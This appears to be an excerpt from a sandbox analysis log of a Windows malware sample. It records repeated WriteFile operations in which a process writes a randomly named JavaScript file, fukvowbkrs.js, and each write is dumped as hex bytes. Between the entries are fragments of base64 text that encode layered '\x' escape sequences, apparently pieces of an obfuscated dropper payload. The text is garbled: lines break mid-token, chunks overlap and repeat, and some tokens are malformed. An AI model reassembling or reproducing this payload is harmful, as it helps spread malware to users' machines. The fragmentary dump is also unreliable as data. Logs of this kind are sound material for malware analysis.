gzNlx4NTmce
DQ0XHg0Rlx4NEFceDYy
XHgzRVx4MjV
ceDQwXHgzNlx4NzhceDR
BXHgzNFx4N
jJceDUzXHgzM1x4NkNce
DZCXHgzNlx
4MzhceDMxXHg0Qlx4Mz
RceDQ4XHg2Q
Vx4NDNceDU2XHg3N1x4
MzFceDQyXHg
0NFx4NjZceDcyXHg1OVx
4MzZceDQ3X
Hg2QVx4NjZceDUwXHg0
Q1x4NzJceDQ
1XHgzN1x4NjlceD
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C:\Users\user\fukvowbkrs.js unknown 1024 46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 51 79 
58 48 67 32 51 56 78 
34 4e 54 6c 63 65 44 
55 34 58 48 67 30 51 
56 78 34 4e 45 52 63 
65 44 55 35 58 48 67 
31 4e 31 78 34 4d 7a 
46 63 65 44 59 35 58 
48 67 32 4d 6c 78 34 
4e 7a 6c 63 65 44 4d 
35 58 48 67 7a 4e 46 
78 34 4e 54 6c 63 65 
44 5a 46 58 48 67 32 
4f 46 78 34 4e 6b 46 
63 65 44 59 30 58 48 
67 32 4f 56 78 34 4d 
7a 56 63 65 44 5a 42 
58 48 67 32 4d 6c 78 
34 4e 44 6d 63 65 44 
51 32 58 48 67 33 51 
56 78 34 4e 6a 4e 63 
65 44 4d 79 58 48 67 
31 4e 31 78 34 4e 54 
42 63 65 44 63 35 58 
48 67 7a 4d 46 78 34 
4e 7a 4a 63 65 44 51 
30 58 48 67 31 4e 56 
78 34 4e 44 4a 63 65 
44 51 7a 58 48 67 30 
4e 31 78 34 4e 7a 5a 
63 65 44 

FXHgyNVx4NDBceDNFX
HgyNVx4NDBce
DNFXHgyNVx4NDBceDQ
yXHg2QVx4NTl
ceDU4XHg0QVx4NERceD
U5XHg1N1x4M
zFceDY5XHg2Mlx4NzlceD
M5XHgzNFx
4NTlceDZFXHg2OFx4NkF
ceDY0XHg2O
Vx4MzVceDZBXHg2Mlx4
NDmceDQ2XHg
3QVx4NjNceDMyXHg1N1
x4NTBceDc5X
HgzMFx4NzJceDQ0XHg1
NVx4NDJceDQ
zXHg0N1x4NzZceD

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 59 33 58 48 67 30 
4f 56 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
45 46 63 65 44 63 7a 
58 48 67 31 4e 31 78 
34 4e 54 5a 63 65 44 
4d 78 58 48 67 30 4f 
56 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4d 30 
56 63 65 44 49 31 58 
48 67 30 4d 46 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4d 30 56 63 65 
44 49 31 58 48 67 30 
4d 46 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4d 30 
56 63 65 44 49 31 58 
48 67 30 4d 46 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4d 30 56 63 65 
44 49 31 58 48 67 30 
4d 46 78 34 4d 30 56 
63 65 44 

FXHgyNVx4NDBceDY3XH
g0OVx4M0Vce
DI1XHg0MFx4NEFceDczX
Hg1N1x4NTZ
ceDMxXHg0OVx4M0VceD
I1XHg0MFx4M
0VceDI1XHg0MFx4M0Vce
DI1XHg0MFx
4M0VceDI1XHg0MFx4M0
VceDI1XHg0M
Fx4M0VceDI1XHg0MFx4
M0VceDI1XHg
0MFx4M0VceDI1XHg0MF
x4M0VceDI1X
Hg0MFx4M0VceDI1XHg0
MFx4M0VceDI
1XHg0MFx4M0VceD
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C:\Users\user\fukvowbkrs.js unknown 1024 47 58 48 67 7a 4e 31 
78 34 4e 45 4e 63 65 
44 4d 30 58 48 67 30 
4d 6c 78 34 4d 7a 4e 
63 65 44 52 47 58 48 
67 30 4e 6c 78 34 4e 
6a 46 63 65 44 51 35 
58 48 67 30 4d 6c 78 
34 4e 54 4e 63 65 44 
51 35 58 48 67 30 4d 
6c 78 34 4e 44 68 63 
65 44 5a 47 58 48 67 
30 4d 31 78 34 4e 6b 
4e 63 65 44 63 35 58 
48 67 7a 4d 56 78 34 
4d 7a 52 63 65 44 51 
7a 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 30 
4f 56 78 34 4e 54 46 
63 65 44 55 33 58 48 
67 32 4e 31 78 34 4e 
44 5a 63 65 44 4d 34 
58 48 67 30 52 56 78 
34 4e 44 4e 63 65 44 
55 31 58 48 67 7a 4e 
6c 78 34 4e 6a 46 63 
65 44 51 31 58 48 67 
33 4e 46 78 34 4e 6a 
4e 63 65 44 55 78 58 
48 67 31 4e 56 78 34 
4e 7a 4a 63 65 44 4d 
77 58 48 67 7a 4d 46 
78 34 4e 54 4e 63 65 
44 55 34 58 48 67 7a 
4e 46 78 34 4e 6a 6d 
63 65 44 

GXHgzN1x4NENceDM0X
Hg0Mlx4MzNce
DRGXHg0Nlx4NjFceDQ5X
Hg0Mlx4NTN
ceDQ5XHg0Mlx4NDhceDZ
GXHg0M1x4N
kNceDc5XHgzMVx4MzRc
eDQzXHgzRVx
4MjVceDQwXHg0OVx4NT
FceDU3XHg2N
1x4NDZceDM4XHg0RVx4
NDNceDU1XHg
zNlx4NjFceDQ1XHg3NFx4
NjNceDUxX
Hg1NVx4NzJceDMwXHgz
MFx4NTNceDU
4XHgzNFx4NjmceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4d 30 58 48 67 7a 
4d 31 78 34 4e 7a 46 
63 65 44 51 33 58 48 
67 79 52 6c 78 34 4e 
54 4a 63 65 44 4a 43 
58 48 67 30 52 46 78 
34 4e 44 52 63 65 44 
63 34 58 48 67 32 4e 
46 78 34 4e 44 4e 63 
65 44 51 79 58 48 67 
31 4d 46 78 34 4e 54 
4a 63 65 44 63 77 58 
48 67 7a 4f 46 78 34 
4d 7a 4e 63 65 44 59 
31 58 48 67 30 51 56 
78 34 4e 30 46 63 65 
44 51 79 58 48 67 7a 
4f 46 78 34 4e 45 5a 
63 65 44 55 34 58 48 
67 7a 4d 6c 78 34 4e 
44 56 63 65 44 4a 47 
58 48 67 31 4e 56 78 
34 4e 7a 5a 63 65 44 
59 35 58 48 67 30 51 
56 78 34 4e 54 42 63 
65 44 6d 42 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 7a 4d 56 78 34 
4e 44 4a 63 65 44 52 
44 58 48 67 30 4d 6c 
78 34 4e 7a 6d 63 65 
44 59 34 58 48 67 31 
4d 6c 78 34 4e 6a 6d 
63 65 44 

FXHgyNVx4NDBceDM0X
HgzM1x4NzFce
DQ3XHgyRlx4NTJceDJCX
Hg0RFx4NDR
ceDc4XHg2NFx4NDNceD
QyXHg1MFx4N
TJceDcwXHgzOFx4MzNc
eDY1XHg0QVx
4N0FceDQyXHgzOFx4NE
ZceDU4XHgzM
lx4NDVceDJGXHg1NVx4
NzZceDY5XHg
0QVx4NTBceDmBXHgzR
Vx4MjVceDQwX
HgzMVx4NDJceDRDXHg0
Mlx4NzmceDY
4XHg1Mlx4NjmceD
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C:\Users\user\fukvowbkrs.js unknown 1024 34 58 48 67 30 4e 6c 
78 34 4e 6a 5a 63 65 
44 4d 30 58 48 67 33 
4e 56 78 34 4e 44 56 
63 65 44 5a 42 58 48 
67 33 51 56 78 34 4e 
7a 42 63 65 44 4d 34 
58 48 67 31 4e 31 78 
34 4e 7a 6c 63 65 44 
51 31 58 48 67 33 4e 
31 78 34 4e 45 5a 63 
65 44 51 7a 58 48 67 
30 4d 6c 78 34 4e 6a 
4a 63 65 44 59 78 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 33 4f 46 
78 34 4e 44 4e 63 65 
44 51 31 58 48 67 32 
51 31 78 34 4e 44 56 
63 65 44 52 47 58 48 
67 30 4f 46 78 34 4e 
6a 46 63 65 44 63 34 
58 48 67 30 4e 56 78 
34 4e 7a 68 63 65 44 
5a 45 58 48 67 7a 4d 
31 78 34 4e 54 46 63 
65 44 52 47 58 48 67 
7a 4d 6c 78 34 4e 54 
6d 63 65 44 51 35 58 
48 67 32 52 46 78 34 
4e 30 46 63 65 44 55 
34 58 48 67 33 4d 46 
78 34 4e 44 5a 63 65 
44 51 79 58 48 67 30 
4d 6c 78 34 4e 54 6d 
63 65 44 

4XHg0Nlx4NjZceDM0XHg
3NVx4NDVce
DZBXHg3QVx4NzBceDM
4XHg1N1x4Nzl
ceDQ1XHg3N1x4NEZceD
QzXHg0Mlx4N
jJceDYxXHgzRVx4MjVce
DQwXHg3OFx
4NDNceDQ1XHg2Q1x4ND
VceDRGXHg0O
Fx4NjFceDc4XHg0NVx4N
zhceDZEXHg
zM1x4NTFceDRGXHgzMl
x4NTmceDQ5X
Hg2RFx4N0FceDU4XHg3
MFx4NDZceDQ
yXHg0Mlx4NTmceD

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 35 58 48 67 31 4f 46 
78 34 4d 7a 68 63 65 
44 55 79 58 48 67 32 
4d 31 78 34 4e 45 46 
63 65 44 59 32 58 48 
67 30 51 56 78 34 4e 
6a 5a 63 65 44 63 34 
58 48 67 30 52 56 78 
34 4e 7a 6d 63 65 44 
63 30 58 48 67 7a 4f 
46 78 34 4e 6b 4e 63 
65 44 4a 47 58 48 67 
30 4e 56 78 34 4e 54 
42 63 65 44 51 7a 58 
48 67 31 4d 46 78 34 
4e 7a 6c 63 65 44 55 
34 58 48 67 7a 4f 46 
78 34 4e 54 4e 63 65 
44 4d 34 58 48 67 30 
51 6c 78 34 4e 6b 46 
63 65 44 51 31 58 48 
67 32 4f 56 78 34 4d 
7a 56 63 65 44 52 42 
58 48 67 7a 52 56 78 
34 4d 6a 56 63 65 44 
51 77 58 48 67 33 4d 
46 78 34 4e 44 6c 63 
65 44 55 78 58 48 67 
32 51 6c 78 34 4e 7a 
46 63 65 44 59 35 58 
48 67 31 4d 56 78 34 
4e 6a 68 63 65 44 51 
31 58 48 67 31 4e 56 
78 34 4e 54 4e 63 65 
44 55 32 58 48 67 32 
51 6c 78 34 4e 6b 4e 
63 65 44 

5XHg1OFx4MzhceDUyXH
g2M1x4NEFce
DY2XHg0QVx4NjZceDc4X
Hg0RVx4Nzm
ceDc0XHgzOFx4NkNceDJ
GXHg0NVx4N
TBceDQzXHg1MFx4Nzlce
DU4XHgzOFx
4NTNceDM4XHg0Qlx4Nk
FceDQ1XHg2O
Vx4MzVceDRBXHgzRVx4
MjVceDQwXHg
3MFx4NDlceDUxXHg2Qlx
4NzFceDY5X
Hg1MVx4NjhceDQ1XHg1
NVx4NTNceDU
2XHg2Qlx4NkNceD
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C:\Users\user\fukvowbkrs.js unknown 1024 32 58 48 67 30 4d 6c 
78 34 4e 7a 42 63 65 
44 51 79 58 48 67 32 
4e 46 78 34 4d 6b 5a 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 63 79 
58 48 67 30 4f 56 78 
34 4e 45 46 63 65 44 
63 32 58 48 67 7a 4e 
46 78 34 4e 7a 4a 63 
65 44 63 35 58 48 67 
30 4d 31 78 34 4e 6a 
4a 63 65 44 4a 43 58 
48 67 30 4e 6c 78 34 
4d 7a 6c 63 65 44 51 
7a 58 48 67 33 4d 6c 
78 34 4d 7a 5a 63 65 
44 52 46 58 48 67 30 
51 31 78 34 4e 7a 6c 
63 65 44 5a 46 58 48 
67 7a 4e 46 78 34 4e 
44 56 63 65 44 55 78 
58 48 67 32 4e 6c 78 
34 4d 7a 6c 63 65 44 
52 45 58 48 67 32 4d 
6c 78 34 4d 7a 5a 63 
65 44 63 31 58 48 67 
7a 4e 46 78 34 4e 44 
4e 63 65 44 59 32 58 
48 67 7a 4e 46 78 34 
4e 7a 56 63 65 44 51 
35 58 48 67 30 51 6c 
78 34 4e 6a 5a 63 65 
44 4d 30 58 48 67 32 
52 56 78 34 4d 7a 52 
63 65 44 

2XHg0Mlx4NzBceDQyXH
g2NFx4MkZce
DNFXHgyNVx4NDBceDcy
XHg0OVx4NEF
ceDc2XHgzNFx4NzJceDc
5XHg0M1x4N
jJceDJCXHg0Nlx4MzlceD
QzXHg3Mlx
4MzZceDRFXHg0Q1x4Nzl
ceDZFXHgzN
Fx4NDVceDUxXHg2Nlx4
MzlceDREXHg
2Mlx4MzZceDc1XHgzNFx
4NDNceDY2X
HgzNFx4NzVceDQ5XHg0
Qlx4NjZceDM
0XHg2RVx4MzRceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 42 58 48 67 32 4d 6c 
78 34 4e 6a 68 63 65 
44 55 77 58 48 67 31 
4d 56 78 34 4e 7a 68 
63 65 44 5a 46 58 48 
67 30 4e 6c 78 34 4e 
6a 52 63 65 44 51 33 
58 48 67 30 4e 56 78 
34 4e 6a 56 63 65 44 
63 34 58 48 67 31 4e 
31 78 34 4e 7a 68 63 
65 44 5a 45 58 48 67 
31 4e 46 78 34 4d 7a 
4a 63 65 44 4d 79 58 
48 67 30 52 46 78 34 
4e 44 6d 63 65 44 6d 
42 58 48 67 32 51 31 
78 34 4e 54 56 63 65 
44 52 45 58 48 67 7a 
4d 46 78 34 4e 6a 4e 
63 65 44 63 30 58 48 
67 30 4d 6c 78 34 4e 
6b 4a 63 65 44 55 34 
58 48 67 33 4d 56 78 
34 4e 6a 4e 63 65 44 
63 7a 58 48 67 30 4e 
6c 78 34 4e 6b 56 63 
65 44 51 34 58 48 67 
31 4e 31 78 34 4e 45 
56 63 65 44 63 30 58 
48 67 33 4e 46 78 34 
4e 7a 4a 63 65 44 52 
43 58 48 67 32 4d 31 
78 34 4e 54 42 63 65 
44 4d 79 58 48 67 32 
4e 56 78 34 4e 54 68 
63 65 44 

BXHg2Mlx4NjhceDUwXHg
1MVx4Nzhce
DZFXHg0Nlx4NjRceDQ3X
Hg0NVx4NjV
ceDc4XHg1N1x4NzhceDZ
EXHg1NFx4M
zJceDMyXHg0RFx4NDmc
eDmBXHg2Q1x
4NTVceDREXHgzMFx4Nj
NceDc0XHg0M
lx4NkJceDU4XHg3MVx4N
jNceDczXHg
0Nlx4NkVceDQ4XHg1N1x
4NEVceDc0X
Hg3NFx4NzJceDRCXHg2
M1x4NTBceDM
yXHg2NVx4NThceD
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C:\Users\user\fukvowbkrs.js unknown 1024 33 58 48 67 32 4e 56 
78 34 4d 7a 4a 63 65 
44 59 31 58 48 67 30 
4f 46 78 34 4e 6a 6d 
63 65 44 52 45 58 48 
67 31 4f 46 78 34 4e 
54 5a 63 65 44 52 45 
58 48 67 31 4d 31 78 
34 4e 44 52 63 65 44 
55 78 58 48 67 7a 4e 
6c 78 34 4e 45 5a 63 
65 44 5a 47 58 48 67 
30 4f 56 78 34 4e 44 
68 63 65 44 51 32 58 
48 67 31 4e 31 78 34 
4e 54 42 63 65 44 63 
78 58 48 67 7a 4e 31 
78 34 4d 7a 56 63 65 
44 5a 47 58 48 67 33 
4e 31 78 34 4e 6b 46 
63 65 44 59 7a 58 48 
67 31 4d 56 78 34 4e 
6b 56 63 65 44 4d 77 
58 48 67 7a 4e 6c 78 
34 4e 55 46 63 65 44 
63 33 58 48 67 7a 4e 
6c 78 34 4e 6a 46 63 
65 44 59 34 58 48 67 
33 4d 56 78 34 4d 7a 
46 63 65 44 52 46 58 
48 67 79 51 6c 78 34 
4e 6a 6d 63 65 44 59 
32 58 48 67 31 4e 31 
78 34 4e 45 4e 63 65 
44 52 46 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 

3XHg2NVx4MzJceDY1XH
g0OFx4Njmce
DREXHg1OFx4NTZceDR
EXHg1M1x4NDR
ceDUxXHgzNlx4NEZceDZ
GXHg0OVx4N
DhceDQ2XHg1N1x4NTBc
eDcxXHgzN1x
4MzVceDZGXHg3N1x4Nk
FceDYzXHg1M
Vx4NkVceDMwXHgzNlx4
NUFceDc3XHg
zNlx4NjFceDY4XHg3MVx
4MzFceDRFX
HgyQlx4NjmceDY2XHg1N
1x4NENceDR
FXHgzRVx4MjVceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 34 58 48 67 30 4f 46 
78 34 4e 6a 52 63 65 
44 4d 35 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 7a 4d 46 78 34 4e 
6b 56 63 65 44 63 30 
58 48 67 30 4e 31 78 
34 4e 45 5a 63 65 44 
4d 32 58 48 67 7a 4e 
6c 78 34 4e 54 4a 63 
65 44 4d 34 58 48 67 
33 4e 6c 78 34 4e 54 
42 63 65 44 4d 79 58 
48 67 33 4e 56 78 34 
4d 7a 4e 63 65 44 63 
78 58 48 67 7a 4d 56 
78 34 4e 7a 6c 63 65 
44 59 79 58 48 67 7a 
4d 46 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
54 52 63 65 44 4d 31 
58 48 67 33 4e 6c 78 
34 4e 6b 4e 63 65 44 
59 34 58 48 67 7a 4f 
56 78 34 4d 7a 6c 63 
65 44 63 7a 58 48 67 
7a 4d 6c 78 34 4e 7a 
56 63 65 44 63 7a 58 
48 67 31 4e 46 78 34 
4e 45 46 63 65 44 4d 
33 58 48 67 31 4f 56 
78 34 4e 44 4e 63 65 
44 51 33 58 48 67 31 
4d 6c 78 34 4e 44 6d 
63 65 44 

4XHg0OFx4NjRceDM5XH
gzRVx4MjVce
DQwXHgzMFx4NkVceDc0
XHg0N1x4NEZ
ceDM2XHgzNlx4NTJceD
M4XHg3Nlx4N
TBceDMyXHg3NVx4MzNc
eDcxXHgzMVx
4NzlceDYyXHgzMFx4M0V
ceDI1XHg0M
Fx4NTRceDM1XHg3Nlx4N
kNceDY4XHg
zOVx4MzlceDczXHgzMlx4
NzVceDczX
Hg1NFx4NEFceDM3XHg1
OVx4NDNceDQ
3XHg1Mlx4NDmceD
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C:\Users\user\fukvowbkrs.js unknown 1024 35 58 48 67 33 4f 56 
78 34 4e 54 6d 63 65 
44 4d 77 58 48 67 30 
4e 6c 78 34 4e 54 4e 
63 65 44 55 30 58 48 
67 33 4f 56 78 34 4e 
44 5a 63 65 44 59 31 
58 48 67 33 4d 46 78 
34 4d 7a 42 63 65 44 
4d 35 58 48 67 30 52 
56 78 34 4d 7a 5a 63 
65 44 5a 46 58 48 67 
30 4f 56 78 34 4d 7a 
6d 63 65 44 52 43 58 
48 67 31 4d 31 78 34 
4e 7a 52 63 65 44 55 
31 58 48 67 33 4e 31 
78 34 4d 7a 46 63 65 
44 51 79 58 48 67 32 
52 56 78 34 4e 54 4e 
63 65 44 55 30 58 48 
67 31 4d 31 78 34 4e 
54 52 63 65 44 51 30 
58 48 67 33 4f 56 78 
34 4e 54 56 63 65 44 
59 34 58 48 67 33 4f 
56 78 34 4e 44 6c 63 
65 44 59 35 58 48 67 
32 51 31 78 34 4e 54 
46 63 65 44 55 31 58 
48 67 7a 4f 56 78 34 
4e 7a 46 63 65 44 4a 
47 58 48 67 32 52 6c 
78 34 4e 6a 4a 63 65 
44 59 33 58 48 67 7a 
4d 6c 78 34 4e 44 56 
63 65 44 

5XHg3OVx4NTmceDMwX
Hg0Nlx4NTNce
DU0XHg3OVx4NDZceDY1
XHg3MFx4MzB
ceDM5XHg0RVx4MzZceD
ZFXHg0OVx4M
zmceDRCXHg1M1x4NzRc
eDU1XHg3N1x
4MzFceDQyXHg2RVx4NT
NceDU0XHg1M
1x4NTRceDQ0XHg3OVx4
NTVceDY4XHg
3OVx4NDlceDY5XHg2Q1x
4NTFceDU1X
HgzOVx4NzFceDJGXHg2
Rlx4NjJceDY
3XHgzMlx4NDVceD

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 35 58 48 67 32 4e 56 
78 34 4e 6b 5a 63 65 
44 59 79 58 48 67 30 
51 6c 78 34 4e 44 6d 
63 65 44 59 7a 58 48 
67 33 4e 56 78 34 4e 
6a 4a 63 65 44 5a 43 
58 48 67 32 52 6c 78 
34 4d 7a 6c 63 65 44 
63 33 58 48 67 30 51 
31 78 34 4e 54 5a 63 
65 44 52 47 58 48 67 
31 4e 56 78 34 4e 44 
68 63 65 44 55 7a 58 
48 67 31 4e 6c 78 34 
4e 45 5a 63 65 44 52 
45 58 48 67 32 4d 56 
78 34 4e 55 46 63 65 
44 63 35 58 48 67 32 
4d 6c 78 34 4d 7a 4e 
63 65 44 56 42 58 48 
67 33 4e 56 78 34 4e 
6a 46 63 65 44 59 30 
58 48 67 32 4f 46 78 
34 4e 6a 6c 63 65 44 
59 35 58 48 67 33 4d 
6c 78 34 4e 45 4a 63 
65 44 63 78 58 48 67 
79 51 6c 78 34 4d 7a 
4a 63 65 44 59 34 58 
48 67 32 51 31 78 34 
4d 7a 52 63 65 44 55 
33 58 48 67 30 4e 6c 
78 34 4d 7a 52 63 65 
44 59 78 58 48 67 31 
4f 56 78 34 4e 44 56 
63 65 44 

5XHg2NVx4NkZceDYyXH
g0Qlx4NDmce
DYzXHg3NVx4NjJceDZC
XHg2Rlx4Mzl
ceDc3XHg0Q1x4NTZceD
RGXHg1NVx4N
DhceDUzXHg1Nlx4NEZce
DREXHg2MVx
4NUFceDc5XHg2Mlx4Mz
NceDVBXHg3N
Vx4NjFceDY0XHg2OFx4N
jlceDY5XHg
3Mlx4NEJceDcxXHgyQlx4
MzJceDY4X
Hg2Q1x4MzRceDU3XHg0
Nlx4MzRceDY
xXHg1OVx4NDVceD
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C:\Users\user\fukvowbkrs.js unknown 1024 43 58 48 67 32 52 46 
78 34 4e 6a 46 63 65 
44 4a 43 58 48 67 33 
4e 46 78 34 4e 54 46 
63 65 44 55 7a 58 48 
67 7a 4d 46 78 34 4e 
6a 52 63 65 44 55 31 
58 48 67 31 4d 6c 78 
34 4e 54 6d 63 65 44 
59 33 58 48 67 7a 4f 
46 78 34 4e 54 5a 63 
65 44 63 31 58 48 67 
30 4e 31 78 34 4e 6a 
4a 63 65 44 56 42 58 
48 67 30 4e 6c 78 34 
4e 6a 6c 63 65 44 59 
35 58 48 67 33 4e 56 
78 34 4e 6a 4e 63 65 
44 52 47 58 48 67 32 
52 56 78 34 4d 7a 56 
63 65 44 55 31 58 48 
67 31 4e 56 78 34 4e 
7a 68 63 65 44 55 32 
58 48 67 7a 4e 6c 78 
34 4e 6a 4e 63 65 44 
55 78 58 48 67 32 4d 
56 78 34 4d 7a 56 63 
65 44 59 33 58 48 67 
32 4e 6c 78 34 4d 7a 
6c 63 65 44 63 7a 58 
48 67 30 4d 6c 78 34 
4e 6b 5a 63 65 44 55 
77 58 48 67 30 51 56 
78 34 4e 54 6c 63 65 
44 63 77 58 48 67 30 
51 56 78 34 4e 54 6d 
63 65 44 

CXHg2RFx4NjFceDJCXHg
3NFx4NTFce
DUzXHgzMFx4NjRceDU1
XHg1Mlx4NTm
ceDY3XHgzOFx4NTZceD
c1XHg0N1x4N
jJceDVBXHg0Nlx4NjlceDY
5XHg3NVx
4NjNceDRGXHg2RVx4Mz
VceDU1XHg1N
Vx4NzhceDU2XHgzNlx4Nj
NceDUxXHg
2MVx4MzVceDY3XHg2Nl
x4MzlceDczX
Hg0Mlx4NkZceDUwXHg0
QVx4NTlceDc
wXHg0QVx4NTmceD

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 78 58 48 67 32 52 56 
78 34 4e 54 46 63 65 
44 63 35 58 48 67 7a 
4d 6c 78 34 4d 7a 56 
63 65 44 51 33 58 48 
67 31 4e 46 78 34 4e 
54 4e 63 65 44 5a 47 
58 48 67 30 51 56 78 
34 4d 7a 4e 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 52 42 58 48 67 
33 4e 31 78 34 4e 6b 
56 63 65 44 63 30 58 
48 67 30 4f 56 78 34 
4e 44 6d 63 65 44 4d 
33 58 48 67 79 51 6c 
78 34 4e 6a 46 63 65 
44 5a 42 58 48 67 31 
4d 46 78 34 4e 54 4a 
63 65 44 51 34 58 48 
67 7a 4d 56 78 34 4e 
44 6d 63 65 44 52 46 
58 48 67 7a 4d 31 78 
34 4e 7a 4e 63 65 44 
52 43 58 48 67 7a 4e 
56 78 34 4e 54 6c 63 
65 44 59 35 58 48 67 
32 4d 56 78 34 4e 45 
4a 63 65 44 59 30 58 
48 67 32 4d 6c 78 34 
4e 54 68 63 65 44 55 
7a 58 48 67 31 4d 31 
78 34 4e 44 4e 63 65 
44 51 33 58 48 67 33 
4e 46 78 34 4e 45 46 
63 65 44 

xXHg2RVx4NTFceDc5XH
gzMlx4MzVce
DQ3XHg1NFx4NTNceDZG
XHg0QVx4MzN
ceDNFXHgyNVx4NDBceD
RBXHg3N1x4N
kVceDc0XHg0OVx4NDmc
eDM3XHgyQlx
4NjFceDZBXHg1MFx4NTJ
ceDQ4XHgzM
Vx4NDmceDRFXHgzM1x4
NzNceDRCXHg
zNVx4NTlceDY5XHg2MVx
4NEJceDY0X
Hg2Mlx4NThceDUzXHg1
M1x4NDNceDQ
3XHg3NFx4NEFceD
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C:\Users\user\fukvowbkrs.js unknown 1024 31 58 48 67 30 4e 46 
78 34 4e 54 6c 63 65 
44 52 47 58 48 67 32 
4d 6c 78 34 4e 6a 68 
63 65 44 51 35 58 48 
67 32 4e 56 78 34 4e 
6a 6c 63 65 44 51 7a 
58 48 67 30 52 56 78 
34 4e 54 68 63 65 44 
5a 46 58 48 67 33 4d 
46 78 34 4e 45 4a 63 
65 44 4d 30 58 48 67 
7a 4e 46 78 34 4e 6b 
4e 63 65 44 5a 46 58 
48 67 30 51 31 78 34 
4e 6b 4e 63 65 44 4d 
77 58 48 67 32 4e 31 
78 34 4e 7a 46 63 65 
44 55 33 58 48 67 31 
4e 56 78 34 4e 45 5a 
63 65 44 51 34 58 48 
67 32 4d 6c 78 34 4e 
6b 4e 63 65 44 55 35 
58 48 67 7a 4d 31 78 
34 4e 54 52 63 65 44 
5a 46 58 48 67 33 4d 
46 78 34 4e 44 56 63 
65 44 4d 79 58 48 67 
31 4f 56 78 34 4e 44 
52 63 65 44 4d 35 58 
48 67 79 51 6c 78 34 
4e 44 5a 63 65 44 63 
35 58 48 67 33 4d 31 
78 34 4e 6b 56 63 65 
44 63 30 58 48 67 31 
4d 31 78 34 4e 44 6d 
63 65 44 

1XHg0NFx4NTlceDRGXH
g2Mlx4Njhce
DQ5XHg2NVx4NjlceDQzX
Hg0RVx4NTh
ceDZFXHg3MFx4NEJceD
M0XHgzNFx4N
kNceDZFXHg0Q1x4NkNc
eDMwXHg2N1x
4NzFceDU3XHg1NVx4NE
ZceDQ4XHg2M
lx4NkNceDU5XHgzM1x4N
TRceDZFXHg
3MFx4NDVceDMyXHg1O
Vx4NDRceDM5X
HgyQlx4NDZceDc5XHg3M
1x4NkVceDc
0XHg1M1x4NDmceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 30 58 48 67 79 52 6c 
78 34 4e 54 52 63 65 
44 55 7a 58 48 67 33 
4e 46 78 34 4e 45 5a 
63 65 44 4a 43 58 48 
67 32 4e 31 78 34 4e 
55 46 63 65 44 55 7a 
58 48 67 7a 4d 6c 78 
34 4e 45 56 63 65 44 
4d 77 58 48 67 32 51 
56 78 34 4e 6b 52 63 
65 44 59 30 58 48 67 
79 52 6c 78 34 4e 7a 
68 63 65 44 59 34 58 
48 67 33 4f 46 78 34 
4e 6a 4e 63 65 44 55 
33 58 48 67 31 4e 31 
78 34 4e 7a 6d 63 65 
44 52 45 58 48 67 32 
4e 56 78 34 4e 6b 46 
63 65 44 52 45 58 48 
67 31 4f 56 78 34 4e 
44 4e 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
59 78 58 48 67 33 4d 
31 78 34 4e 6a 46 63 
65 44 55 30 58 48 67 
33 4f 46 78 34 4d 7a 
46 63 65 44 5a 44 58 
48 67 30 52 56 78 34 
4e 54 4a 63 65 44 63 
77 58 48 67 30 4e 46 
78 34 4e 45 52 63 65 
44 4d 33 58 48 67 30 
4d 6c 78 34 4e 6b 56 
63 65 44 

0XHgyRlx4NTRceDUzXHg
3NFx4NEZce
DJCXHg2N1x4NUFceDUz
XHgzMlx4NEV
ceDMwXHg2QVx4NkRceD
Y0XHgyRlx4N
zhceDY4XHg3OFx4NjNce
DU3XHg1N1x
4NzmceDREXHg2NVx4Nk
FceDREXHg1O
Vx4NDNceDNFXHgyNVx4
NDBceDYxXHg
3M1x4NjFceDU0XHg3OFx
4MzFceDZDX
Hg0RVx4NTJceDcwXHg0
NFx4NERceDM
3XHg0Mlx4NkVceD

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 31 58 48 67 7a 4e 46 
78 34 4e 45 46 63 65 
44 4a 43 58 48 67 32 
51 31 78 34 4e 44 4e 
63 65 44 51 79 58 48 
67 33 4f 56 78 34 4e 
54 4e 63 65 44 55 7a 
58 48 67 33 4d 56 78 
34 4e 54 56 63 65 44 
52 45 58 48 67 32 51 
6c 78 34 4d 7a 6c 63 
65 44 5a 45 58 48 67 
30 4e 56 78 34 4e 54 
56 63 65 44 52 44 58 
48 67 33 51 56 78 34 
